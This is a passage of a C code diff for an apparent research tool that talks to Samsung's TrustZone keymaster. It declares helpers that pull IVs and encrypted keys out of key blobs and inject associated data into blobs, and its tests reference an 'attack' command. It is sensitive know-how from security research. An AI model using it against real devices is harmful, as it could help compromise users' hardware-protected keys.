km_key_blob_t *key_blob); + +/** @brief Log given km_ekey_blob_t + @param[in] key_blob The km_ekey_blob_t to log +*/ +void print_km_ekey_blob(const km_ekey_blob_t *ekey_blob); + +/** @brief Log given parameters + @param[in] key_blob The parameters to log +*/ +void print_param_set(const keymaster_key_param_set_t *param_set); + +/** @brief Log given characteristics + @param[in] key_blob The characteristics to log +*/ +void print_characteristics(const keymaster_key_characteristics_t *characteristics); + +/** @brief Create hexstring of given buffer + @param[in] data The data to hexlify + @param[in] len The length of the data + @Return hexstring Allocated hex string +*/ +char *hexlify(const uint8_t *data, size_t len); + +/** @brief Copy into a new buffer + @param[out] new Output copy (should be freed by caller) + @param[in] data The data to copy + @param[in] len The length of the data + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result copy_vector(vector_t *new, const uint8_t *data, size_t len); + +/** @brief Replace a key parameter + @param[out] par Output key parameters + @param[in] tag The tag to replace + @param[in] param_tag The key parameter + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result replace_tag(km_param_t *par, keymaster_tag_t tag, param_tag_t *param_tag); + +/** @brief Deserialize the ekey blob + @param[out] p_ekey_blob Pointer to the deserialized ekey blob + @param[in] ekey Data of the ekey blob + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result get_ekey_blob(km_ekey_blob_t **p_ekey_blob, vector_t *ekey); + +/** @brief Print the ASN.1 deserialization of the ekey blob + @param[in] ekey Data of the ekey blob + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result print_deserialized_ekey_blob(vector_t *ekey); + +/** @brief Deserialize the ekey blob and extract a specific key parameter/tag + @param[in] ekey Data of the ekey blob + @param[in] tag The tag to extract + @param[out] param_tag The extracted key parameter + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result get_ekey_blob_tag(vector_t *ekey, keymaster_tag_t tag, param_tag_t *param_tag); + +/** @brief Deserialize the ekey blob and extract ekey_blob->ekey + @param[in] ekey Data of the ekey blob + @param[out] encrypted ekey_blob->ekey + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result get_ekey_blob_encrypted(vector_t *ekey, vector_t *encrypted); + +/** @brief Extract IV and ekey from ekey blob and save it to a "iv-{ekey_path}" and "encrypted-{ekey_path}" + @param[in] ekey_path Path to ekey blob + @param[in] ekey Data of ekey blob + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result save_iv_and_ekey(const char *ekey_path, vector_t *ekey); + +/** @brief Parse ASN1 of ekey blob and save IV and ekey + @param[in] ekey_path Path to ekey blob + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result parse_asn1(const char *ekey_path); + +/** @brief Deserialize the ekey blob and add aad to its parameters then serialize to modify the ekey blob + @param[in] aad The AAD + @param[in,out] ekey ekey blob (modified if succesful) + @Return status KM_RESULT_SUCCESS if successful + @note Only works if keyblob hash is not checked (e.g. modified libkeymaster_helper) +*/ +KM_Result add_aad_to_ekey(const vector_t *aad, vector_t *ekey); + +/** @brief Add application_id and application_data to key parameters + @param[in] application_id + @param[in] application_data + @param[out] param_set Output key parameters + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result init_basic_param_set( + vector_t *application_id, + vector_t *application_data, + keymaster_key_param_set_t *param_set); + +/** @brief Adds key parameters for AES keys + @param[in] req Key request struct based on input from CLI + @param[out] param_set Output key parameters + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result add_aes_parameters(key_request_t *req, keymaster_key_param_set_t *param_set); + +/** @brief Adds key parameters for RSA keys + @param[in] req Key request struct based on input from CLI + @param[out] param_set Output key parameters + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result add_rsa_parameters(key_request_t *req, keymaster_key_param_set_t *param_set); + +/** @brief Adds key parameters for EC keys + @param[in] req Key request struct based on input from CLI + @param[out] param_set Output key parameters + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result add_ec_parameters(key_request_t *req, keymaster_key_param_set_t *param_set); + +/** @brief Adds key parameters + @param[in] req Key request struct based on input from CLI + @param[out] param_set Output key parameters + @Return status KM_RESULT_SUCCESS if successful +*/ +KM_Result init_key_request( + key_request_t *req, + keymaster_key_param_set_t *param_set); + +#endif // _SKEYMASTER_UTILS_H_ diff --git a/jni/keymaster_helper_lib/skeymaster_helper_lib.c b/jni/keymaster_helper_lib/skeymaster_helper_lib.c new file mode 100644 index 0000000..ead9c67 --- /dev/null +++ b/jni/keymaster_helper_lib/skeymaster_helper_lib.c @@ -0,0 +1,100 @@ +/* + API from libkeymaster_helper.so (without modifications) +*/ +#include +#if !defined(KEYMASTER_HELPER_SELF_IMPLEMENTATION) + +#include +#include +#include + +#define LOG_LIB_CALL(name) LOGD("calling %s from libkeymaster_helper.so - see logs with 'logcat | grep keymaster_tee'", name); + + +KM_Result nwd_open_connection(void) +{ + LOG_LIB_CALL("nwd_open_connection"); + return g_libkeymaster_helper->nwd_open_connection(); +} + +KM_Result nwd_configure(keymaster_key_param_set_t *param_set) +{ + LOG_LIB_CALL("nwd_configure"); + return g_libkeymaster_helper->nwd_configure(param_set); +} + +KM_Result nwd_generate_key( + keymaster_key_param_set_t *param_set, + vector_t *ekey, + keymaster_key_characteristics_t *characteristics) +{ + LOG_LIB_CALL("nwd_generate_key"); + return g_libkeymaster_helper->nwd_generate_key(param_set, ekey, characteristics); +} + +KM_Result nwd_get_key_characteristics( + vector_t *ekey, + vector_t *application_id, + vector_t *application_data, + keymaster_key_characteristics_t * characteristics) +{ + LOG_LIB_CALL("nwd_get_key_characteristics"); + return g_libkeymaster_helper->nwd_get_key_characteristics( + ekey, application_id, application_data, characteristics); +} + +KM_Result nwd_import_key( + keymaster_key_param_set_t *param_set, + long key_format, + vector_t *key_data, + vector_t *ekey, + keymaster_key_characteristics_t *characteristics) +{ + LOG_LIB_CALL("nwd_import_key"); + return g_libkeymaster_helper->nwd_import_key( + param_set, key_format, key_data, ekey, characteristics); +} + +KM_Result nwd_export_key( + long key_format, + vector_t *ekey, + vector_t *application_id, + vector_t *application_data, + vector_t *exported) +{ + LOG_LIB_CALL("nwd_export_key"); + return g_libkeymaster_helper->nwd_export_key( + key_format, ekey, application_id, application_data, exported); +} + +KM_Result nwd_upgrade_key( + vector_t *ekey, + keymaster_key_param_set_t *param_set, + vector_t *new_ekey) +{ + LOG_LIB_CALL("nwd_upgrade_key"); + return g_libkeymaster_helper->nwd_upgrade_key(ekey, param_set, new_ekey); +} + +KM_Result nwd_begin( + keymaster_key_param_set_t *param_set, + long purpose, + vector_t *ekey, + int64_t *operation_handle, + keymaster_key_param_set_t *out_params) +{ + return KM_RESULT_UNSUPPORTED; +} + +KM_Result nwd_finish( + keymaster_key_param_set_t *param_set, + vector_t *data, + vector_t *signature, + int64_t *operation_handle, + vector_t *output, + keymaster_key_param_set_t *output_params) +{ + return KM_RESULT_UNSUPPORTED; +} + +#endif // !defined(KEYMASTER_HELPER_SELF_IMPLEMENTATION) diff --git a/jni/test/test.c b/jni/test/test.c new file mode 100644 index 0000000..175da3c --- /dev/null +++ b/jni/test/test.c @@ -0,0 +1,83 @@ +#include +#include +#include +#include +#include + +#include +#include +#include + +typedef int (*testcase_t)(void); + +int g_done; +size_t g_current_test; +size_t g_num_passed; +int g_stderr_fd; + +#define PATH_LOG "/data/local/tmp/test_stderr" + +int main(int argc, char * const * argv) +{ + int ret = TEST_FAILED; + + testcase_t testcases[] = { + // test_utils + test_cmd_to_usage, + test_hexlify, + test_copy_vector, + test_get_ekey_blob, + test_get_ekey_blob_tag, + test_get_ekey_blob_encrypted, + test_add_aad_to_ekey, + test_init_basic_param_set, + test_add_aes_parameters, + test_add_rsa_parameters, + test_add_ec_parameters, + test_init_key_request, + + // test_commands + test_generate, + test_get_key_characteristics, + test_import, + test_export, + test_upgrade, + test_begin, + }; + size_t num_testcases = sizeof(testcases) / sizeof(*testcases); + + g_current_test = 0; + g_num_passed = 0; + g_done = 0; + + puts("logging stderr to " PATH_LOG); + g_stderr_fd = open(PATH_LOG, O_CREAT | O_RDWR, 0755); + CHECK(-1 != g_stderr_fd); + CHECK(-1 != dup2(g_stderr_fd, STDERR_FILENO)); + + CHECK_PASS(initialize_libs()); + CHECK_PASS(prepare_keymaster()); + + for (int i = 0; i < num_testcases; ++i) { + testcases[i](); + } + +cleanup: + printf("Total tests passed: %lu out of %lu\n", g_num_passed, num_testcases); + g_done = 1; + + if (g_num_passed == num_testcases) { + ret = 0; + } + else { + ret = 1; + } + + destroy_libs(); + + if (-1 != g_stderr_fd) { + close(g_stderr_fd); + } + + return ret; +} diff --git a/jni/test/test.h b/jni/test/test.h new file mode 100644 index 0000000..4ecfa53 --- /dev/null +++ b/jni/test/test.h @@ -0,0 +1,58 @@ +#ifndef _TEST_SKEYMASTER_H_ +#define _TEST_SKEYMASTER_H_ + +#include +#include + +enum test_result_t { + TEST_SUCCESS = 0, + TEST_FAILED +}; + +#define CHECK(cond) if (!(cond)) { goto cleanup; } +#define CHECK_PASS(cond) CHECK(TEST_SUCCESS == cond) + +extern int g_done; +extern size_t g_current_test; +extern size_t g_num_passed; +extern int g_stderr_fd; + +#define BEGIN_TEST(name) \ + do { \ + g_current_test++; \ + printf("[ ] Testing %s... ",name); \ + } while (0) + +#define END_TEST(ret) \ + do { \ + if (TEST_SUCCESS == ret) { \ + ++g_num_passed; \ + } \ + printf("%s\n", (TEST_SUCCESS == ret) ? "success" : "fail"); \ + return ret; \ + } while(0) + +void set_default_key_request(key_request_t *req); + +int test_cmd_to_usage(void); +int test_hexlify(void); +int test_copy_vector(void); +int test_get_ekey_blob(void); +int test_get_ekey_blob_tag(void); +int test_get_ekey_blob_encrypted(void); + +int test_add_aad_to_ekey(void); +int test_init_basic_param_set(void); +int test_add_aes_parameters(void); +int test_add_rsa_parameters(void); +int test_add_ec_parameters(void); +int test_init_key_request(void); + +int test_generate(void); +int test_get_key_characteristics(void); +int test_import(void); +int test_export(void); +int test_upgrade(void); +int test_begin(void); + +#endif // _TEST_SKEYMASTER_H_ diff --git a/jni/test/test_commands.c b/jni/test/test_commands.c new file mode 100644 index 0000000..25722b2 --- /dev/null +++ b/jni/test/test_commands.c @@ -0,0 +1,171 @@ +#include +#include +#include +#include + +int test_generate(void) +{ + vector_t ekey = {0}; + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("generate"); + + set_default_key_request(&req); + + CHECK(KM_RESULT_SUCCESS == generate(&req, &ekey)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != ekey.data) { + free(ekey.data); + } + + END_TEST(ret); +} + +int test_get_key_characteristics(void) +{ + vector_t ekey = {0}; + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("get_key_characteristics"); + + set_default_key_request(&req); + + CHECK(KM_RESULT_SUCCESS == generate(&req, &ekey)); + + CHECK(KM_RESULT_SUCCESS == get_key_characteristics(&req, &ekey)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != ekey.data) { + free(ekey.data); + } + + END_TEST(ret); +} + + +int test_import(void) +{ + vector_t ekey = {0}; + uint8_t data[32] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32}; + vector_t key_data = {data, 32}; + + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("import"); + + set_default_key_request(&req); + + CHECK(KM_RESULT_SUCCESS == import(&req, &key_data, &ekey)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != ekey.data) { + free(ekey.data); + } + + END_TEST(ret); +} + +int test_export(void) +{ + vector_t ekey = {0}; + uint8_t data[32] = {101, 60, 124, 192, 142, 202, 189, 114, 196, 100, 10, 192, 122, 211, 95, 143, 81, 152, 22, 46, 235, 25, 13, 19, 190, 58, 116, 218, 131, 154, 203, 196}; + vector_t key_data = {data, 32}; + vector_t exported = {0}; + + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("export"); + + set_default_key_request(&req); + req.is_exportable = 1; + + CHECK(KM_RESULT_SUCCESS == generate(&req, &ekey)); + + CHECK(KM_RESULT_SUCCESS == import(&req, &key_data, &ekey)); + + CHECK(KM_RESULT_SUCCESS == export(&req, &ekey, &exported)); + + CHECK(0 == memcmp(exported.data, key_data.data, key_data.len)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != exported.data) { + free(exported.data); + } + if (NULL != ekey.data) { + free(ekey.data); + } + + END_TEST(ret); +} + +int test_upgrade(void) +{ + vector_t ekey = {0}; + vector_t new_ekey = {0}; + + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("upgrade"); + + set_default_key_request(&req); + + CHECK(KM_RESULT_SUCCESS == generate(&req, &ekey)); + + CHECK(KM_RESULT_SUCCESS == upgrade(&req, &ekey, &new_ekey)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != new_ekey.data) { + free(new_ekey.data); + } + if (NULL != ekey.data) { + free(ekey.data); + } + + END_TEST(ret); +} + +int test_begin(void) +{ + vector_t ekey = {0}; + uint8_t nonce[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}; + int64_t operation_handle = 0; + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("begin"); + + set_default_key_request(&req); + req.purpose = KM_PURPOSE_ENCRYPT; + req.padding = KM_PAD_NONE; + req.nonce.data = nonce; + req.nonce.len = 12; + + CHECK(KM_RESULT_SUCCESS == generate(&req, &ekey)); + + CHECK(KM_RESULT_UNSUPPORTED == begin_operation(&req, &ekey, &operation_handle)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != ekey.data) { + free(ekey.data); + } + + END_TEST(ret); +} diff --git a/jni/test/test_utils.c b/jni/test/test_utils.c new file mode 100644 index 0000000..0c3dfef --- /dev/null +++ b/jni/test/test_utils.c @@ -0,0 +1,492 @@ +#include +#include +#include +#include + +static uint8_t g_ekey_example_data[] = {0x30, 0x82, 0x1, 0x9d, 0x2, 0x1, 0x29, 0x4, 0x82, 0x1, 0x44, 0x6d, 0x7b, 0x94, 0x5d, 0xdf, 0x46, 0xf3, 0x2, 0x29, 0x5c, 0xe7, 0x27, 0xb9, 0xda, 0xab, 0x4d, 0xfe, 0xb1, 0x94, 0xac, 0x33, 0x82, 0xc7, 0x67, 0x85, 0x9f, 0x2b, 0x6d, 0x5c, 0xa0, 0x6f, 0x70, 0xcb, 0x8a, 0xe0, 0xae, 0x85, 0x39, 0x96, 0x4c, 0x84, 0x84, 0xad, 0x91, 0xa, 0x6c, 0x60, 0x4, 0xef, 0x7f, 0x9, 0x8f, 0xc9, 0xdc, 0xf6, 0x92, 0x47, 0x2, 0xbd, 0xf7, 0xb7, 0xe0, 0x6, 0xd1, 0xe8, 0xcf, 0xe2, 0x3b, 0x90, 0x9e, 0xa7, 0xbb, 0x4, 0x23, 0x68, 0x46, 0xd, 0x46, 0xa2, 0x6d, 0xc7, 0xae, 0x39, 0xec, 0xff, 0xf9, 0x20, 0x42, 0xfa, 0x1a, 0x1a, 0x78, 0x5d, 0x19, 0xde, 0x83, 0xca, 0x1b, 0x3e, 0x48, 0xd5, 0xd2, 0x99, 0xc, 0xa4, 0xde, 0x7a, 0xc4, 0x47, 0x5d, 0x53, 0xc4, 0x81, 0xda, 0x95, 0x70, 0x4d, 0x18, 0x7e, 0x58, 0x58, 0xb2, 0x41, 0xe2, 0x31, 0x4, 0x27, 0xd, 0x94, 0x73, 0xdd, 0x58, 0x53, 0xd5, 0x6f, 0xe0, 0xd8, 0xaf, 0xdc, 0x67, 0xea, 0x99, 0x2c, 0x1d, 0xd0, 0xd4, 0x12, 0x55, 0x60, 0xcb, 0xb, 0x14, 0x90, 0xab, 0x8, 0xd, 0xec, 0xdb, 0x95, 0x3, 0x57, 0xd1, 0x18, 0xc8, 0xfe, 0xbd, 0x18, 0x1, 0x4f, 0xaa, 0x69, 0xb6, 0x6c, 0x86, 0xc1, 0xd5, 0x67, 0x8e, 0xb8, 0xe4, 0x67, 0x73, 0x89, 0x5d, 0xf0, 0xaf, 0x5, 0x4f, 0xa1, 0x5, 0x1b, 0x36, 0xf1, 0xc5, 0x44, 0x74, 0x16, 0x33, 0xf4, 0xdf, 0x45, 0x29, 0x62, 0xae, 0x28, 0x9b, 0xe4, 0x23, 0x80, 0x87, 0x5c, 0x70, 0x5f, 0xf2, 0x1d, 0xd4, 0x7d, 0xad, 0x23, 0xd0, 0xa5, 0x20, 0xae, 0x30, 0xb5, 0x2b, 0x79, 0x11, 0x7c, 0x44, 0x8c, 0xb2, 0xfa, 0x57, 0x64, 0x15, 0x19, 0xbe, 0xce, 0x7d, 0xcf, 0x20, 0xf9, 0x1d, 0xd2, 0x36, 0x9a, 0x49, 0x3a, 0x63, 0xd8, 0x6e, 0x35, 0xb6, 0xff, 0xcf, 0x8e, 0xe2, 0x3c, 0x8d, 0x17, 0xa8, 0xda, 0x77, 0x2d, 0xae, 0x39, 0x7f, 0x50, 0xca, 0x53, 0x34, 0x83, 0x3d, 0xc8, 0xff, 0x3e, 0xdf, 0x7a, 0x7b, 0x6, 0x86, 0xb, 0xb9, 0x81, 0x76, 0x6c, 0x2c, 0xd7, 0xc6, 0xd2, 0xb9, 0xb0, 0x3d, 0xad, 0x95, 0x51, 0x97, 0x45, 0x8f, 0x4e, 0x54, 0xc4, 0x99, 0x1f, 0x54, 0x8, 0x4b, 0xc8, 0xd4, 0xf5, 0xbe, 0x3f, 0x3f, 0x90, 0xba, 0x1e, 0xf9, 0x4f, 0x67, 0x1e, 0x80, 0x21, 0xba, 0x31, 0x50, 0x30, 0x16, 0x2, 0x4, 0x90, 0x0, 0x13, 0x88, 0xa1, 0xe, 0x4, 0xc, 0x73, 0x2b, 0x23, 0x4, 0xa5, 0x3b, 0x21, 0x48, 0x1b, 0x2b, 0xd2, 0x55, 0x30, 0x1a, 0x2, 0x4, 0x90, 0x0, 0x13, 0x89, 0xa1, 0x12, 0x4, 0x10, 0xed, 0x84, 0x52, 0x27, 0x5c, 0x81, 0xeb, 0x70, 0x2e, 0xc3, 0x33, 0x56, 0xb4, 0x8c, 0x2c, 0x7a, 0x30, 0x1a, 0x2, 0x4, 0x90, 0x0, 0x13, 0x92, 0xa1, 0x12, 0x4, 0x10, 0x73, 0x2f, 0x81, 0x19, 0xf4, 0xc7, 0xe5, 0x0, 0x50, 0x7e, 0x3e, 0xb9, 0xe, 0xe1, 0x74, 0xc1, 0x13, 0x14, 0xd4, 0x25, 0xfb, 0xc7, 0xdd, 0x84, 0x85, 0x64, 0x95, 0x6b, 0x2a, 0xbe, 0xec, 0x86, 0xcc, 0x59, 0x66, 0x16, 0x1e, 0x3f, 0x29, 0xee, 0x35, 0x16, 0x5e, 0x8c, 0x30, 0xcd, 0xd4, 0x20}; +static uint8_t *g_ekey_example = g_ekey_example_data; +static size_t g_ekey_example_len = 449; + +void set_default_key_request(key_request_t *req) +{ + // 256-AES-GCM + memset(req, 0, sizeof(key_request_t)); + req->algorithm = KM_ALGORITHM_AES; + req->purpose = -1; + req->padding = -1; + req->digest = KM_DIGEST_NONE; + req->enc_ver = -1; + req->mode = KM_MODE_GCM; + req->key_size = 256; +} + +int test_cmd_to_usage(void) +{ + int ret = TEST_FAILED; + BEGIN_TEST("cmd_to_usage"); + + if (0 != strcmp(cmd_to_usage(CMD_ATTACK), USAGE_ATTACK)) { + goto cleanup; + } + else if (0 != strcmp(cmd_to_usage(CMD_GENERATE), USAGE_GENERATE)) { + goto cleanup; + } + else if (0 != strcmp(cmd_to_usage(CMD_GET_CHARS), USAGE_GET_CHARS)) { + goto cleanup; + } + else if (0 != strcmp(cmd_to_usage(CMD_IMPORT), USAGE_IMPORT)) { + goto cleanup; + } + else if (0 != strcmp(cmd_to_usage(CMD_EXPORT), USAGE_EXPORT)) { + goto cleanup; + } + else if (0 != strcmp(cmd_to_usage(CMD_UPGRADE), USAGE_UPGRADE)) { + goto cleanup; + } + else if (0 != strcmp(cmd_to_usage(CMD_BEGIN), USAGE_BEGIN)) { + goto cleanup; + } + + ret = TEST_SUCCESS; + +cleanup: + END_TEST(ret); +} + +int test_hexlify(void) +{ + int ret = TEST_FAILED; + BEGIN_TEST("hexlify"); + + const char *data = "hello"; + size_t len = 5; + const char *expected = "68656C6C6F"; + + char *hexstring = hexlify((const uint8_t *)data, len); + if (NULL == hexstring) { + goto cleanup; + } + + CHECK(0 == memcmp(expected, hexstring, strlen(expected))); + + ret = TEST_SUCCESS; + +cleanup: + END_TEST(ret); +} + +int test_copy_vector(void) +{ + int ret = TEST_FAILED; + BEGIN_TEST("copy_vector"); + + vector_t buf = {(uint8_t *)"hello", 5}; + vector_t copy = {0}; + + CHECK(KM_RESULT_SUCCESS == copy_vector(©, buf.data, buf.len)); + + CHECK(copy.len == buf.len && 0 == memcmp(copy.data, buf.data, buf.len)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != copy.data) { + free(copy.data); + } + END_TEST(ret); +} + +int test_get_ekey_blob(void) +{ + vector_t ekey = {0}; + km_ekey_blob_t *ekey_blob = NULL; + int enc_ver = 0; + + int ret = TEST_FAILED; + BEGIN_TEST("get_ekey_blob"); + + CHECK(KM_RESULT_SUCCESS == copy_vector(&ekey, g_ekey_example, g_ekey_example_len)); + + CHECK(KM_RESULT_SUCCESS == get_ekey_blob(&ekey_blob, &ekey)); + + CHECK(0 == km_get_ASN1_INTEGER(ekey_blob->enc_ver, &enc_ver) && 0x29 == enc_ver); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != ekey.data) { + free(ekey.data); + } + if (NULL != ekey_blob) { + ASN1_item_free((ASN1_VALUE *)ekey_blob, &KM_EKEY_BLOB); + } + + END_TEST(ret); +} + +int test_get_ekey_blob_tag(void) +{ + vector_t ekey = {0}; + km_ekey_blob_t *ekey_blob = NULL; + vector_t iv = {0}; + const char *expected = "\x73\x2B\x23\x04\xA5\x3B\x21\x48\x1B\x2B\xD2\x55"; + size_t expected_len = 12; + + int ret = TEST_FAILED; + BEGIN_TEST("get_ekey_blob_tag"); + + CHECK(KM_RESULT_SUCCESS == copy_vector(&ekey, g_ekey_example, g_ekey_example_len)); + + CHECK(KM_RESULT_SUCCESS == get_ekey_blob_tag(&ekey, KM_TAG_EKEY_BLOB_IV, (param_tag_t *)&iv)); + + CHECK(expected_len == iv.len && 0 == memcmp(expected, iv.data, expected_len)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != iv.data) { + free(iv.data); + } + if (NULL != ekey.data) { + free(ekey.data); + } + if (NULL != ekey_blob) { + ASN1_item_free((ASN1_VALUE *)ekey_blob, &KM_EKEY_BLOB); + } + + END_TEST(ret); +} + +int test_get_ekey_blob_encrypted(void) +{ + vector_t ekey = {0}; + km_ekey_blob_t *ekey_blob = NULL; + vector_t encrypted = {0}; + const char *expected = "\x6d\x7b\x94\x5d\xdf\x46\xf3\x02\x29\x5c\xe7\x27\xb9\xda\xab\x4d\xfe\xb1\x94\xac\x33\x82\xc7\x67\x85\x9f\x2b\x6d\x5c\xa0\x6f\x70\xcb\x8a\xe0\xae\x85\x39\x96\x4c\x84\x84\xad\x91\x0a\x6c\x60\x04\xef\x7f\x09\x8f\xc9\xdc\xf6\x92\x47\x02\xbd\xf7\xb7\xe0\x06\xd1\xe8\xcf\xe2\x3b\x90\x9e\xa7\xbb\x04\x23\x68\x46\x0d\x46\xa2\x6d\xc7\xae\x39\xec\xff\xf9\x20\x42\xfa\x1a\x1a\x78\x5d\x19\xde\x83\xca\x1b\x3e\x48\xd5\xd2\x99\x0c\xa4\xde\x7a\xc4\x47\x5d\x53\xc4\x81\xda\x95\x70\x4d\x18\x7e\x58\x58\xb2\x41\xe2\x31\x04\x27\x0d\x94\x73\xdd\x58\x53\xd5\x6f\xe0\xd8\xaf\xdc\x67\xea\x99\x2c\x1d\xd0\xd4\x12\x55\x60\xcb\x0b\x14\x90\xab\x08\x0d\xec\xdb\x95\x03\x57\xd1\x18\xc8\xfe\xbd\x18\x01\x4f\xaa\x69\xb6\x6c\x86\xc1\xd5\x67\x8e\xb8\xe4\x67\x73\x89\x5d\xf0\xaf\x05\x4f\xa1\x05\x1b\x36\xf1\xc5\x44\x74\x16\x33\xf4\xdf\x45\x29\x62\xae\x28\x9b\xe4\x23\x80\x87\x5c\x70\x5f\xf2\x1d\xd4\x7d\xad\x23\xd0\xa5\x20\xae\x30\xb5\x2b\x79\x11\x7c\x44\x8c\xb2\xfa\x57\x64\x15\x19\xbe\xce\x7d\xcf\x20\xf9\x1d\xd2\x36\x9a\x49\x3a\x63\xd8\x6e\x35\xb6\xff\xcf\x8e\xe2\x3c\x8d\x17\xa8\xda\x77\x2d\xae\x39\x7f\x50\xca\x53\x34\x83\x3d\xc8\xff\x3e\xdf\x7a\x7b\x06\x86\x0b\xb9\x81\x76\x6c\x2c\xd7\xc6\xd2\xb9\xb0\x3d\xad\x95\x51\x97\x45\x8f\x4e\x54\xc4\x99\x1f\x54\x08\x4b\xc8\xd4\xf5\xbe\x3f\x3f\x90\xba\x1e\xf9\x4f\x67\x1e\x80\x21\xba"; + size_t expected_len = 324; + + int ret = TEST_FAILED; + BEGIN_TEST("get_ekey_blob_encrypted"); + + CHECK(KM_RESULT_SUCCESS == copy_vector(&ekey, g_ekey_example, g_ekey_example_len)); + + CHECK(KM_RESULT_SUCCESS == get_ekey_blob_encrypted(&ekey, &encrypted)); + + CHECK(expected_len == encrypted.len && 0 == memcmp(expected, encrypted.data, expected_len)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != encrypted.data) { + free(encrypted.data); + } + if (NULL != ekey.data) { + free(ekey.data); + } + if (NULL != ekey_blob) { + ASN1_item_free((ASN1_VALUE *)ekey_blob, &KM_EKEY_BLOB); + } + + END_TEST(ret); +} + +int test_add_aad_to_ekey(void) +{ + vector_t ekey = {0}; + km_ekey_blob_t *ekey_blob = NULL; + vector_t associated = {0}; + + const char *expected = "\xB4\x1F\x42\x7E\x59\xD0\xB2\x87\x4B\x64\x0D\x00\x1E\x79\xCE\x67\x27\x4E\x09\x8E\xF2\x1D\xB0\x6B\x75\x52\x2B\x2B\xBC\xF9\x69\x00"; + size_t expected_len = 32; + vector_t expected_aad = {(uint8_t *)expected, expected_len}; + + int ret = TEST_FAILED; + BEGIN_TEST("add_aad_to_ekey"); + + CHECK(KM_RESULT_SUCCESS == copy_vector(&ekey, g_ekey_example, g_ekey_example_len)); + + // make sure there's no KM_TAG_ASSOCIATED_DATA before we add + CHECK(KM_RESULT_INVALID == get_ekey_blob_tag(&ekey, KM_TAG_ASSOCIATED_DATA, (param_tag_t *)&associated)); + + // edit ekey blob and compare + CHECK(KM_RESULT_SUCCESS == add_aad_to_ekey(&expected_aad, &ekey)); + + CHECK(KM_RESULT_SUCCESS == get_ekey_blob_tag(&ekey, KM_TAG_ASSOCIATED_DATA, (param_tag_t *)&associated)); + + CHECK(expected_len == associated.len && 0 == memcmp(expected, associated.data, expected_len)); + + ret = TEST_SUCCESS; + +cleanup: + if (NULL != associated.data) { + free(associated.data); + } + if (NULL != ekey.data) { + free(ekey.data); + } + if (NULL != ekey_blob) { + ASN1_item_free((ASN1_VALUE *)ekey_blob, &KM_EKEY_BLOB); + } + + END_TEST(ret); +} + + +int test_init_basic_param_set(void) +{ + keymaster_key_param_set_t param_set = {0}; + + vector_t application_id = {(uint8_t *)"id", 2}; + vector_t application_data = {(uint8_t *)"data", 4}; + vector_t empty = {NULL, 0}; + + int ret = TEST_FAILED; + BEGIN_TEST("init_basic_param_set"); + + // no id/data + CHECK(KM_RESULT_SUCCESS == init_basic_param_set(&empty, &empty, ¶m_set)); + CHECK(0 == param_set.len); + + // only id + CHECK(KM_RESULT_SUCCESS == init_basic_param_set(&application_id, &empty, ¶m_set)); + CHECK(1 == param_set.len); + CHECK(KM_TAG_APPLICATION_ID == param_set.params[0].tag && + 0 == memcmp(param_set.params[0].blob.data, application_id.data, application_id.len)); + + keymaster_free_param_set(¶m_set); + + // only data + CHECK(KM_RESULT_SUCCESS == init_basic_param_set(&empty, &application_data, ¶m_set)); + CHECK(1 == param_set.len); + CHECK(KM_TAG_APPLICATION_DATA == param_set.params[0].tag && + 0 == memcmp(param_set.params[0].blob.data, application_data.data, application_data.len)); + keymaster_free_param_set(¶m_set); + + // both id and data + CHECK(KM_RESULT_SUCCESS == init_basic_param_set(&application_id, &application_data, ¶m_set)); + + CHECK(2 == param_set.len); + CHECK(KM_TAG_APPLICATION_ID == param_set.params[0].tag && + 0 == memcmp(param_set.params[0].blob.data, application_id.data, application_id.len)); + CHECK(KM_TAG_APPLICATION_DATA == param_set.params[1].tag && + 0 == memcmp(param_set.params[1].blob.data, application_data.data, application_data.len)); + + keymaster_free_param_set(¶m_set); + + ret = TEST_SUCCESS; + +cleanup: + keymaster_free_param_set(¶m_set); + + END_TEST(ret); +} + +int test_add_aes_parameters(void) +{ + keymaster_key_param_set_t param_set = {0}; + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("add_aes_parameters"); + + // gcm + for (int i = 0; i < 2; ++i) { + memset(&req, 0, sizeof(req)); + req.mode = KM_MODE_GCM; + if (1 == i) { + req.nonce.data = (uint8_t *)"nonce"; + req.nonce.len = 5; + } + + CHECK(0 == add_int_to_param_set(¶m_set, KM_TAG_KEY_SIZE, 256)); + + CHECK(KM_RESULT_SUCCESS == add_aes_parameters(&req, ¶m_set)); + + if (1 == i) { + CHECK(7 == param_set.len); + } + else { + CHECK(6 == param_set.len); + } + + CHECK(KM_TAG_ALGORITHM == param_set.params[1].tag && + KM_ALGORITHM_AES == param_set.params[1].integer); + + CHECK(KM_TAG_NO_AUTH_REQUIRED == param_set.params[2].tag && + param_set.params[2].boolean); + + CHECK(KM_TAG_BLOCK_MODE == 